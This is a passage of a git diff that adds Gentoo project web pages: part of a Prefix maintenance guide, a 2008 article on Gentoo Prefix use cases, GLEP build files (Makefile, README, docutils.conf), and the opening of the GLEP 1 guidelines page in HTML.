+          variables is a often confusing job.  Underquoting results in
+          problems when spaces are being used, overquoting is just
+          unnecessary work.  In many cases, the quoting of variables is
+          done wrong in the main tree ebuilds, hence the problem is also
+          carried over onto the Prefix tree.  Fixing these quoting
+          problems should <e>not</e> be done, unless this is necessary
+          to solve a Prefix specific problem, which happens only in rare
+          cases.  Along the same line, adding or removing white space,
+          indenting, rewriting to make more optimal in execution and
+          similar changes which are not essentially necessary, should be
+          avoided.  To avoid differences in the <c>Changelog</c> file,
+          you should <e>not</e> use <c>echangelog</c> when committing
+          changes to ebuilds that are available in the main tree, and
+          hence subject to semi-automatic updating.  In fact each
+          <c>Changelog</c> entry added using <c>echangelog</c> makes a
+          conflict during updating, making the problem even worse.
+          Don't update the <c>ChangeLog</c>.
+        </p>
+        <p>
+          When changes need to be made, such as adding an <c>epatch</c>
+          line, or adding a platform specific statement, such as an
+          configure option, care needs to be taken to try to reduce the
+          size of the differences introduced.  The smaller the
+          difference, the bigger the chance that semi-automatic updating
+          succeeds without problems.
+        </p>
+        <p>
+          For files that have no CVS header, and hence cannot be kept in
+          sync, such as e.g. <c>metadata.xml</c> and many patches in the
+          <c>files/</c> directory the <c>eupdate</c> command just makes
+          sure it is equal to the version in the main tree.  For this
+          reason, keep in mind that changes to those files get lost upon
+          the next run of <c>eupdate</c>.  Since this is done almost
+          daily, the modifications disappear soon enough.  Only files
+          with a CVS <c>$ Header</c><c>:</c> <!-- no-expansion hack ;) -->
+          (such as ebuilds) can be changed in such a way that the
+          modifications are not lost.
+        </p>
+      </body>
+    </section>
+
+  </chapter>
+
+</guide>
+
+<!-- vim: set expandtab ts=2 sw=2 foldmethod=marker foldenable: -->
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; -->
diff --git a/xml/htdocs/proj/en/gentoo-alt/prefix/usecases.xml b/xml/htdocs/proj/en/gentoo-alt/prefix/usecases.xml
new file mode 100644
index 00000000..2679b0fa
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/prefix/usecases.xml
@@ -0,0 +1,312 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/prefix/usecases.xml,v 1.4 2008/06/28 12:34:51 grobian Exp $ -->
+
+<guide link="/proj/en/gentoo-alt/prefix/usecases.xml" lang="en">
+  <title>Gentoo Prefix Use Cases</title>
+
+  <author title="Author">
+    <mail link="grobian@gentoo.org">Fabian Groffen</mail>
+  </author>
+
+  <abstract>
+    Use cases for a Prefixed environment.
+  </abstract>
+
+
+  <!-- The content of this document is licensed under the CC-BY-SA license -->
+  <!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+  <license/>
+
+  <version>1.0</version>
+  <date>2008-03-18</date>
+
+  <chapter>
+    <title>Gentoo Prefix - what's in it?</title>
+
+    <section><!-- {{{ Introduction -->
+      <title>Introduction</title>
+      <body>
+
+        <note>
+          This article was originally written for a Linux magazine.  For
+          space reasons the article was retracted early in the process.
+          It is put here in its original form without major
+          modifications as it may be an interesting read for some.
+        </note>
+
+        <p>
+          Usually when one thinks of Gentoo, its Linux distribution
+          comes to mind.  However, there is more that Gentoo has to
+          offer.  To the extreme, Gentoo has its <e>Alt</e> project that
+          deals with non-Linux operating systems.  Most visible in
+          Gentoo/Alt are currently the BSD and Prefix projects.  While
+          the former focusses on providing some form of Gentoo on all
+          kinds of BSD systems, the latter targets nearly every platform
+          including Gentoo Linux itself.  What both have in common, is
+          that they use Gentoo Portage to install software on the target
+          systems.
+        </p>
+        <p>
+          Among the various Linux distributions, Gentoo is one of the
+          few that is source based.  In fact, Gentoo is a
+          meta-distribution, which more or less means that Gentoo
+          provides <e>how</e> to install a package, instead of the
+          package itself in a binary form.  This property allows to
+          easily <e>reuse</e> the meta-data that exists for a package to
+          install it on another kind of platform.  This is one of the
+          reasons why the Gentoo Linux distribution targets so many
+          (rare) architectures: reuse allows for easy maintenance.  The
+          Gentoo/Alt project builds further on this particular property.
+          With relatively small efforts, the meta-packages (ebuilds) can
+          be made to install from the same sources on non-Linux
+          operating systems.
+        </p>
+        <p>
+          In this article we focus on the Prefix project.  The project
+          itself is experimental, thus not intended for use in any
+          settings where an experimental nature is not appreciated, such
+          as production environments.  However, the early experiences
+          with the project are interesting enough to be discussed in
+          this article.  Gentoo Prefix has some unusual properties,
+          which makes it useful for a number of occasions.  Two use
+          cases follow.
+        </p>
+
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ Use Cases -->
+      <title>Use Cases</title>
+      <body>
+
+        <p><b>Case 1: A student at the University</b></p>
+        <p>
+          A student X wants to compile and run some self-developed
+          software on the Sun workstations provided by his university.
+          The development tools required for the student's project go
+          far beyond what the system administrators like to install, and
+          other than that, they don't have time to look into it.  With
+          the student obviously having no administrative privileges to
+          the Sun workstations, he cannot "just" install the required
+          software tools himself.  Even if the student wants to use
+          non-official package installers, he still needs administrative
+          privileges, as those installers like to place the binaries in
+          places which by default are not writeable for the student.
+          The only option left for the student is to compile and install
+          the software he needs manually himself.  This typically
+          requires some time, expertise and work.  Not always does
+          software compile out of the box.  Sometimes due to
+          "dependencies" on other packages, and quite often a number
+          of packages needs to be installed in the right order before it
+          all works.  A lot of work, just to get the self-developed
+          package only to compile.
+        </p>
+
+        <p><b>Case 2: Companies deploying software</b></p>
+        <p>
+          Company Y has its own product P.  By the nature of P, it is
+          compiled at the customer's machines, highly tuned and
+          configured for the customer's needs.  Also the maintenance,
+          patches and requirement changes are done by Y.  Unfortunately,
+          the customers of Y are very much bound to the machines and
+          operating systems they use on that.  Big contracts, and
+          secured "trust" in the form of SLAs and years of experience
+          make Y's customers want to use whatever they have been using
+          for years.  Even though administrative privileges are within
+          reach of Y for the systems to build on, Y likes to avoid that
+          since not only Y's software runs on the systems.  A fix for
+          one, can break things for the other.  The nature of Y's
+          customers simply doesn't allow breakage, hence changing the
+          system is the very last resort.  However, for Y to install its
+          product, it needs some more recent, or extra development
+          tools.  Like the student from case 1, the only option left, is
+          to manually compile and install what is necessary, including
+          the burden of tracking the "dependencies".
+        </p>
+
+        <p>
+          Next to these two use cases, many others exist.  It is not
+          hard to think of not being at an university, but on a company
+          workstation or laptop.  Or just that a user doesn't like to
+          "pollute" the main system by installing (non-vendor)
+          packages.  In all cases, Gentoo Prefix provides a solution.
+          Simply put, Gentoo Prefix allows to install packages from
+          source, without administrative privileges, into a custom
+          location in the file system hierarchy (the prefix).  Since
+          Gentoo Prefix uses the Portage package manager, it also deals
+          with all (possible) dependencies, and compile time options to
+          enable or disable certain functionality.  Last, but not least,
+          the packages provided are -- as usual within Gentoo -- fairly
+          up-to-date, so the chance for "outdated software" is really
+          small.
+        </p>
+
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ Installing Gentoo Prefix -->
+      <title>Installing Gentoo Prefix</title>
+      <body>
+
+        <p>
+          How does Gentoo Prefix work then?  Without the details, it
+          works like a normal Gentoo Linux system: packages are simply
+          <e>emerged</e>.  However, before one can do that, Gentoo
+          Prefix first has to be installed.  While at this time of
+          writing there is no installer or live-CD, the only way to
+          install Gentoo Prefix is by bootstrapping using a special
+          script.  Detailed descriptions of how to do that on for
+          example Mac OS X can be found on the project website.
+          Installing via that documentation remains the only way for as
+          long as "one button" installers are not available.  For users
+          that are familiar with installing Gentoo Linux without the
+          installer just by following the documentation, will find some
+          resemblance in how Gentoo Prefix is installed.  Step by step
+          instructions, with per step explanation of why and what for.
+        </p>
+
+        <p>
+          The bootstrapping process consists of three phases, 1)
+          installing the core tools, 2) using Portage to emerge a base
+          system, and 3) using portage to rebuild all of the installed
+          packages with custom optimisations and features.
+        </p>
+
+        <p>
+          While the whole process is boring overall, it results in an
+          up-to-date and ready to use developer (sub-)system.  Phase 1)
+          is mainly installing the tools that Portage itself needs to
+          function properly.  Packages that are installed here are a
+          recent Python, findutils, and so on, in total a number of 10
+          packages.  The final step of this phase is to install Portage
+          itself.  This allows to continue with the next phase, where
+          packages are only installed using Portage.  Phase 2) starts by
+          <e>emerging</e> build utilities in an order such that
+          dependencies are met.  Because these utilities are so
+          "basic", Portage often doesn't take them into account as
+          package dependencies, since they belong to the <e>base
+            profile</e>.  Hence, the dependency calculation of Portage
+          will not create a correct graph for these packages, resulting
+          in failures during compilation.  For this reason, A number of
+          packages is emerged without dependency calculation in a fixed
+          order.  After this the final step of this phase is to use the
+          dependency system of Portage to emerge the special target
+          "system", which includes all the packages that should be
+          available on a system to function properly.  Once all these
+          packages are available, the last phase, 3), can be executed.
+          In this final phase, the tree with ebuilds is updated to the
+          most current version, and the compile time flags and features
+          can be set.  After that, it mainly does a recompilation of all
+          packages compiled before, and adds some packages that may be
+          necessary for the updated features ("USE flags").  While
+          recompiling all packages previously compiled may sound like a
+          waste of time, it is done on purpose.  First, in order to have
+          the new compile time flags become active, packages have to be
+          <e>re-emerged</e>.  Since these compile time flags (CFLAGS)
+          often contain optimisations which greatly affect the speed and
+          performance of the utilities, it is worth to recompile for
+          this.  Second, packages emerged in the second phase, sometimes
+          still use tools provided by the operating system being built
+          on, instead of those tools installed by Portage.  These need
+          to be corrected, which is done by a recompilation.
+        </p>
+
+        <p>
+          After these phases, the (sub-)system is ready for use, and
+          packages of choice can be emerged in the system.  These
+          packages can be libraries (libpcre, libxml2, ...),
+          applications (vim, mutt, ...) or whole graphical toolkits,
+          such as QT and GTK.
+          <!-- currently this doesn't work, so let's not mention it
+          And among contributions, also the
+          utilities for a typical LAMP setting are supported by Gentoo
+          Prefix.  Apache, PHP, PostgreSQL, all working, without
+          administrative privileges.
+          -->
+        </p>
+
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ What is this Prefix? -->
+      <title>What is this Prefix?</title>
+      <body>
+
+        <p>
+          So far we have discussed what one can do with Gentoo Prefix.
+          The curious reader, however, may wonder how it is done, and
+          why it can do all of this installing without causing trouble.
+          The first thing that needs some explanation, is the name of
+          the project itself: Prefix.  A prefix is some part put "in
+          front of" something else.  In this case, it is a path put in
+          front of all other paths that Portage deals with.  The main
+          reason why administrative privileges are often required, is
+          because the software is finally installed into a location that
+          a normal user in the system can write to.  This is good, as it
+          protects the system from getting broken by mistakes from
+          unknowing users, but prevents the user from installing the
+          software.  So the approach taken in Prefix Portage is to
+          deviate from these default locations, and shift everything
+          into an <e>offset</e>.  This offset, which is prefixed to every
+          path Portage uses, can be freely chosen.  This way, a user can
+          install into his own home directory, or to some large disk
+          space location which he has write permissions for.  And here
+          is the reason why Prefix works for what it wants.  It installs
+          into there where the user has full privileges to do what is
+          necessary: installing software.
+        </p>
+
+        <p>
+          Guarded with this offset, knowing that everything is installed
+          into this location, usage of the prefix consists of using
+          everything from this prefix, before even looking at what the
+          main operating system has installed.  This is what Portage in
+          the prefix does.  It simply changes the search paths such that
+          the prefix comes first.  Simple as that, as far as Portage is
+          concerned.  Knowledgeable readers on compiler and linker
+          workings will immediately wonder how Portage deals with them
+          and the offset.  The simple answer is that compilers and
+          linkers installed by Portage in the prefix are configured such
+          that they look into the prefix first as well.  Not only that,
+          but also does it make sure that compiled programs will keep on
+          looking in the prefix via <e>rpath</e> directions, which are a
+          bit too detailed for this article to discuss.  The conclusion
+          is that programs compile and run using prefix provided tools
+          and libraries.
+        </p>
+
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ Conclusions -->
+      <title>Conclusions</title>
+      <body>
+
+        <p>
+          Gentoo Prefix is an easy way to enable using software
+          installed on a user base.  This in particular is interesting
+          for situations where administrative privileges are not
+          available or simply not suitable.  Gentoo Prefix is like Fink,
+          MacPorts or pkgsrc for Mac OS X systems, but not limited to
+          this operating system alone.  The nature of Portage -- from
+          the Gentoo philosophy -- allows fine grained control over how
+          packages are installed, which is brought to users of many
+          platforms.  Last but absolutely not least, we like to stress
+          that Gentoo Prefix is not a "finished" product.  It is a
+          proof-of-concept that currently (quite successful) explores
+          the possibilities of using Gentoo Portage on systems other
+          than Gentoo Linux.  Unprivileged installation of Gentoo Prefix
+          is one of the drives that allow the project to be quite
+          successful so far.
+        </p>
+
+      </body>
+    </section><!-- }}} -->
+
+  </chapter>
+
+</guide>
+
+<!-- vim: set expandtab ts=2 sw=2 foldmethod=marker foldenable: -->
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; -->
diff --git a/xml/htdocs/proj/en/glep/Makefile b/xml/htdocs/proj/en/glep/Makefile
new file mode 100644
index 00000000..b5ea7264
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/Makefile
@@ -0,0 +1,25 @@
+GLEPTOOL=glep.py --exit-status=3 --link-stylesheet --stylesheet-path=tools/glep.css
+
+INPUTS = $(wildcard glep*.txt)
+OUTPUTS = $(patsubst %.txt,%.html,$(INPUTS))
+
+all: $(OUTPUTS)
+
+# Build warnings first
+%.html: %.txt
+	$(GLEPTOOL) --report=1 $< /dev/null
+	$(GLEPTOOL) $< $@
+
+# This enables comparisions
+.PHONY: versioncmp 
+versioncmp: .tmp.versions.html .tmp.versions.txt
+	diff -Nuar .tmp.versions.txt .tmp.versions.html
+
+# Extract the revision
+.tmp.versions.html:
+	awk '/class="field-name">Version:<\/th>/{gsub("<[^>]+?>","",$$0); s=FILENAME; gsub(".html","",s); printf "%s:%s\n",s,$$0;}' *.html >$@
+.tmp.versions.txt:
+	awk '/^Version:/{gsub(" *\\$$[A-Za-z:]* *","",$$0); s=FILENAME; gsub(".txt","",s); printf "%s:%s\n",s,$$0;}' *.txt >$@
+
+# clean up the temps immediately
+.INTERMEDIATE: .tmp.versions.html .tmp.versions.txt
diff --git a/xml/htdocs/proj/en/glep/README.txt b/xml/htdocs/proj/en/glep/README.txt
new file mode 100644
index 00000000..eddd2318
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/README.txt
@@ -0,0 +1,65 @@
+Gentoo Linux Enhancement Proposals
+==================================
+
+This directory contains the official (CVS-controlled) 
+texts of current and past Gentoo Linux Enhancement 
+Proposals (GLEPs), along with some necessary scripts
+and configuration files to facilitate converting the
+GLEPs from (really quite readable) raw ASCII text
+to html or xml.
+
+Requirements
+============
+
+GLEPs are written in ReStructuredText [#ReST]_, which
+is text with some minimal markup so that it is still
+quite readable in source form, yet it can be readily
+converted to html or xml for viewing with a browser.
+
+Converting ReST to html or xml requires the "docutils" python package
+[#docutils]_::
+    
+    # USE=glep emerge docutils
+
+The Gentoo Linux docutils package includes the *glep.py* program 
+which transforms a GLEP in text form to the equivalent html version::
+
+    # glep.py glep-0001.txt glep-0001.html
+
+The above usage embeds the CSS stylesheet in the html file.  For pages
+on glep.gentoo.org, it is better to use a link instead::
+
+    # glep.py --link-stylesheet --stylesheet-path=tools/glep.css \
+    > glep-0001.txt glep-0001.html
+
+(Incidentally, *glep.py* contains special code to verify that
+the GLEP header is reasonable.  This README lacks that header,
+so to convert this file to html using docutils you need to 
+use the more generic transformation program::
+
+    # rst2html.py --stylesheet-path=tools/glep.css README.txt README.html
+
+to convert README.txt to README.html.)
+
+Files
+=====
+
+========================    ======================================
+File                        Purpose
+========================    ======================================
+README.txt                  This file (duh!)
+docutils.conf               Configuration file for GLEP conversion 
+                                from txt to html
+glep-xxxx.txt               GLEPs in text (ReST) form
+tools/glep.css              GLEP html stylesheet
+tools/glep-html-template    GLEP boilerplate template
+========================    ======================================
+
+
+References
+==========
+
+.. [#ReST] ReStructuredText,
+   http://docutils.sourceforge.net/docs/rst/quickstart.html
+
+.. [#docutils] http://docutils.sourceforge.net/
diff --git a/xml/htdocs/proj/en/glep/docutils.conf b/xml/htdocs/proj/en/glep/docutils.conf
new file mode 100644
index 00000000..bbb8c792
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/docutils.conf
@@ -0,0 +1,18 @@
+[general]
+
+# These entries affect all processing:
+source-link: 1
+datestamp: %Y-%m-%d %H:%M UTC
+generator: 1
+
+[html4css1 writer]
+# These entries affect HTML output:
+stylesheet-path: stylesheets/default.css
+
+[pep_html writer]
+# These entries affect reStructuredText-style PEPs:
+template: tools/glep-html-template.html
+stylesheet-path: tools/glep.css
+python-home: http://www.gentoo.org
+home: http://www.gentoo.org/proj/en/glep
+no-random: 1
diff --git a/xml/htdocs/proj/en/glep/glep-0001.html b/xml/htdocs/proj/en/glep/glep-0001.html
new file mode 100644
index 00000000..69b0c6a5
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0001.html
@@ -0,0 +1,424 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 1 -- GLEP Purpose and Guidelines</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0001.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">1</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">GLEP Purpose and Guidelines</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.12</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0001.txt?cvsroot=gentoo">2008/06/05 06:05:32</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Grant Goodyear &lt;g2boojum&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Active</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Informational</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">31-May-2003</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">1-Jun-2003, 2-Jul-2003, 19-Jan-2008, 05-Jun-2008</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#credits" id="id17" name="id17">Credits</a></li>
+<li><a class="reference" href="#what-is-a-glep" id="id18" name="id18">What is a GLEP?</a></li>
+<li><a class="reference" href="#kinds-of-gleps" id="id19" name="id19">Kinds of GLEPs</a></li>
+<li><a class="reference" href="#glep-work-flow" id="id20" name="id20">GLEP Work Flow</a></li>
+<li><a class="reference" href="#what-belongs-in-a-successful-glep" id="id21" name="id21">What belongs in a successful GLEP?</a></li>
+<li><a class="reference" href="#glep-formating-and-template" id="id22" name="id22">GLEP Formating and Template</a></li>
+<li><a class="reference" href="#glep-header-preamble" id="id23" name="id23">GLEP Header Preamble</a></li>
+<li><a class="reference" href="#reporting-glep-bugs-or-submitting-glep-updates" id="id24" name="id24">Reporting GLEP Bugs, or Submitting GLEP Updates</a></li>
+<li><a class="reference" href="#transferring-glep-ownership" id="id25" name="id25">Transferring GLEP Ownership</a></li>
+<li><a class="reference" href="#references-and-footnotes" id="id26" name="id26">References and Footnotes</a></li>
+<li><a class="reference" href="#copyright" id="id27" name="id27">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id17" id="credits" name="credits">Credits</a></h1>
+<p>The GLEP concept, and, in fact, much of the text of this document,
+is liberally stolen from Python's <a class="footnote-reference" href="#python" id="id1" name="id1">[1]</a> PEPs
+<a class="footnote-reference" href="#peps" id="id2" name="id2">[2]</a>, especially
+PEP-0001 <a class="footnote-reference" href="#pep1" id="id3" name="id3">[3]</a> by Barry A. Warsaw, Jeremy Hylton, and David Goodger.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id18" id="what-is-a-glep" name="what-is-a-glep">What is a GLEP?</a></h1>
+<p>GLEP stands for &quot;Gentoo Linux Enhancement Proposal&quot;.  A GLEP is a design
+document providing information to the Gentoo Linux community, or describing
+a new feature for Gentoo Linux.  The GLEP should provide a concise technical
+specification of the feature and rationale for the feature.</p>
+<p>We intend GLEPs to be the primary mechanisms for proposing <em>significant</em> new
+features, for collecting community input on an issue, and for
+documenting the design decisions that have gone into Gentoo Linux.  The GLEP
+author is responsible for building consensus within the community and
+documenting dissenting opinions.</p>
+<p>Because the GLEPs are maintained as text files under CVS control, their
+revision history is the historical record of the feature proposal
+<a class="footnote-reference" href="#cvs" id="id4" name="id4">[4]</a>.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id19" id="kinds-of-gleps" name="kinds-of-gleps">Kinds of GLEPs</a></h1>
+<p>There are two kinds of GLEPs.  A Standards Track GLEP describes a new feature
+or implementation for Gentoo Linux.  An Informational GLEP describes provides
+general guidelines or information to the Gentoo Linux community, but does not
+propose a new feature.  Informational GLEPs do not necessarily represent a
+Gentoo Linux community consensus or recommendation, so users and implementors
+are free to ignore Informational GLEPs or follow their advice.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id20" id="glep-work-flow" name="glep-work-flow">GLEP Work Flow</a></h1>
+<p>The GLEP editors assign GLEP numbers and change their status.  The current
+GLEP editors are Grant Goodyear and Alastair Tse.  Please send all
+GLEP-related email to &lt;<a class="reference" href="mailto:glep&#64;gentoo.org">glep&#64;gentoo.org</a>&gt;.</p>
+<p>The GLEP process begins with a new idea for Gentoo Linux.  It is highly
+recommended that a single GLEP contain a single key proposal or new idea.  The
+more focussed the GLEP, the more successful it tends to be.  The GLEP editors
+reserve the right to reject GLEP proposals if they appear too unfocussed or
+too broad.  If in doubt, split your GLEP into several well-focussed ones.</p>
+<p>Each GLEP must have a champion -- someone who writes the GLEP using the style
+and format described below, shepherds the discussions in the appropriate
+forums, and attempts to build community consensus around the idea.  The GLEP
+champion (a.k.a. Author) should first attempt to ascertain whether the idea is
+GLEP-able.  Small enhancements or patches often don't need a GLEP and can be
+injected into the Gentoo Linux development work flow with an enhancement &quot;bug&quot;
+submitted to the Gentoo Linux bugzilla <a class="footnote-reference" href="#bugs" id="id5" name="id5">[6]</a>.</p>
+<p>The GLEP champion then emails the GLEP editors &lt;<a class="reference" href="mailto:glep&#64;gentoo.org">glep&#64;gentoo.org</a>&gt; with a
+proposed title and a rough, but fleshed out, draft of the GLEP.  This draft
+must be written in GLEP style as described below.</p>
+<p>If the GLEP editor accepts the GLEP, he will assign the GLEP a number, label
+it as Standards Track (a better name would be nice here -- suggestions?) or
+Informational, give it status &quot;Draft&quot;, and create and check-in the initial
+draft of the GLEP.  The GLEP editors will not unreasonably deny a GLEP.
+Reasons for denying GLEP status include duplication of effort, being
+technically unsound, not providing proper motivation or addressing backwards
+compatibility, or not in keeping with Gentoo Linux philosophy.</p>
+<p>If a pre-GLEP is rejected, the author may elect to take the pre-GLEP to the
+<a class="reference" href="mailto:gentoo-dev&#64;gentoo.org">gentoo-dev&#64;gentoo.org</a> mailing list to help flesh it out, gain feedback and
+consensus from the community at large, and improve the GLEP for re-submission.</p>
+<p>The author of the GLEP is then responsible for posting the GLEP to the
+gentoo-dev mailing list and to the Gentoo Linux forums <a class="footnote-reference" href="#forums" id="id6" name="id6">[7]</a>, and
+marshaling community support for it.  As updates are necessary, the GLEP
+author can check in new versions if they have CVS commit permissions, or can
+email new GLEP versions to the GLEP editors for committing.</p>
+<p>Standards Track GLEPs consist of two parts, a design document and a reference
+implementation.  The GLEP should be reviewed and accepted before a reference
+implementation is begun, unless a reference implementation will aid people in
+studying the GLEP.  Standards Track GLEPs must include an implementation -- in
+the form of code, patch, or URL to same -- before it can be considered Final.</p>
+<p>GLEP authors are responsible for collecting community feedback on a GLEP
+before submitting it for review.  A GLEP that has not been discussed on
+<a class="reference" href="mailto:gentoo-dev&#64;gentoo.org">gentoo-dev&#64;gentoo.org</a> and/or the Gentoo Linux forums <a class="footnote-reference" href="#forums" id="id7" name="id7">[7]</a> will not be
+accepted.  However, wherever possible, long open-ended discussions on public
+mailing lists should be avoided.  Strategies to keep the discussions efficient
+include setting up a specific forums thread for the topic, having the GLEP
+author accept private comments in the early design phases, etc.  GLEP authors
+should use their discretion here.</p>
+<p>Once the authors have completed a GLEP, they must inform the GLEP editors that
+it is ready for review.  GLEPs are reviewed by the appropriate Gentoo
+Manager <a class="footnote-reference" href="#manager" id="id8" name="id8">[8]</a>, who may approve or reject a GLEP outright, or
+send it back to the author(s) for revision.  For a GLEP that is pre-determined
+to be approvable (e.g., it is an obvious win as-is and/or its implementation
+has already been checked in) the appropriate Gentoo Manager <a class="footnote-reference" href="#manager" id="id9" name="id9">[8]</a>
+may also initiate a GLEP review, first notifying the GLEP author(s) and giving
+them a chance to make revisions.</p>
+<p>For a GLEP to be approved it must meet certain minimum criteria.  It must be a
+clear and complete description of the proposed enhancement.  The enhancement
+must represent a net improvement.  The proposed implementation, if applicable,
+must be solid and must not complicate the distribution unduly.  Finally, a
+proposed enhancement must satisfy the philosophy of Gentoo Linux.</p>
+<p>Once a GLEP has been accepted, the reference implementation must be completed.
+When the reference implementation is complete and accepted, the status will be
+changed to &quot;Final&quot;.</p>
+<p>A GLEP can also be assigned status &quot;Deferred&quot;.  The GLEP author or editor can
+assign the GLEP this status when no progress is being made on the GLEP.  Once
+a GLEP is deferred, the GLEP editor can re-assign it to draft status.</p>
+<p>A GLEP can also be &quot;Rejected&quot;.  Perhaps after all is said and done it was not
+a good idea.  It is still important to have a record of this fact.</p>
+<p>GLEPs can also be replaced by a different GLEP, rendering the original
+obsolete (where version 2 of a policy, for example, might replace version 1).</p>
+<p>GLEP work flow is as follows:</p>
+<pre class="literal-block">
+Draft -&gt; Accepted -&gt; Final -&gt; Replaced
+  ^
+  +----&gt; Rejected
+  v
+Deferred
+</pre>
+<p>Some Informational GLEPs may also have a status of &quot;Active&quot; if they are never
+meant to be completed.  E.g. GLEP 1 (this GLEP).</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id21" id="what-belongs-in-a-successful-glep" name="what-belongs-in-a-successful-glep">What belongs in a successful GLEP?</a></h1>
+<p>Each GLEP should have the following parts:</p>
+<ol class="arabic">
+<li><p class="first">Preamble -- <a class="reference" href="http://www.faqs.org/rfcs/rfc822.html">RFC 822</a> style headers containing meta-data about the
+GLEP, including the GLEP number, a short descriptive title (limited
+to a maximum of 44 characters), the names, and optionally the
+contact info for each author, etc.</p>
+</li>
+<li><p class="first">Abstract -- a short (~200 word) description of the technical issue
+being addressed.</p>
+</li>
+<li><p class="first">Motivation -- The motivation is critical for GLEPs that want to
+modify Gentoo Linux functionality.  It should clearly explain why the
+existing functionality or policy is inadequate to address the problem that
+the GLEP solves.  GLEP submissions without sufficient motivation may be
+rejected outright.</p>
+</li>
+<li><p class="first">Specification -- The technical specification should describe the
+specific areas of Gentoo Linux that would be touched by this GLEP.  If new
+functionality is being introduced, what packages will that functionality
+affect?  If new policy, who will be affected?</p>
+</li>
+<li><p class="first">Rationale -- The rationale fleshes out the specification by
+describing what motivated the design and why particular design decisions
+were made.  It should describe alternate designs that were considered and
+related work, e.g. how the feature is supported in other distributions.</p>
+<p>The rationale should provide evidence of consensus within the community and
+discuss important objections or concerns raised during discussion.</p>
+</li>
+<li><p class="first">Backwards Compatibility -- All GLEPs
+must include a section describing any issues of backwards incompatibilities
+and their severity.  The GLEP must explain how the author proposes to deal
+with these incompatibilities.  (Even if there are none, this section should
+be included to clearly state that fact.) GLEP submissions without a
+sufficient backwards compatibility treatise may be rejected outright.</p>
+</li>
+<li><p class="first">Reference Implementation -- The reference implementation must be
+completed before any GLEP is given status &quot;Final&quot;, but it need not be
+completed before the GLEP is accepted.  It is better to finish the
+specification and rationale first and reach consensus on it before writing
+code or significantly modifying ebuilds.</p>
+</li>
+<li><p class="first">Copyright/public domain -- Each GLEP must either be explicitly
+labelled as placed in the public domain (see this GLEP as an example) or
+licensed under the Open Publication License [#OPL].</p>
+</li>
+</ol>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id22" id="glep-formating-and-template" name="glep-formating-and-template">GLEP Formating and Template</a></h1>
+<p>GLEPs are written either in Gentoo Linux Guide-XML <a class="footnote-reference" href="#guidexml" id="id10" name="id10">[11]</a> or in
+a just-barely-marked-up version of plain ASCII text
+called ReStructuredText <a class="footnote-reference" href="#resthome" id="id11" name="id11">[10]</a> that is then converted to HTML using
+Docutils <a class="footnote-reference" href="#docutils" id="id12" name="id12">[12]</a>.  Using ReStructuredText GLEPs allows for rich markup
+that is still quite easy to read, but results in much better-looking and more
+functional HTML.  Moreover, it should be straightforward to convert GLEPs to
+Gentoo Linux guide xml <a class="footnote-reference" href="#guidexml" id="id13" name="id13">[11]</a> if needed.  GLEP 2 contains a boilerplate
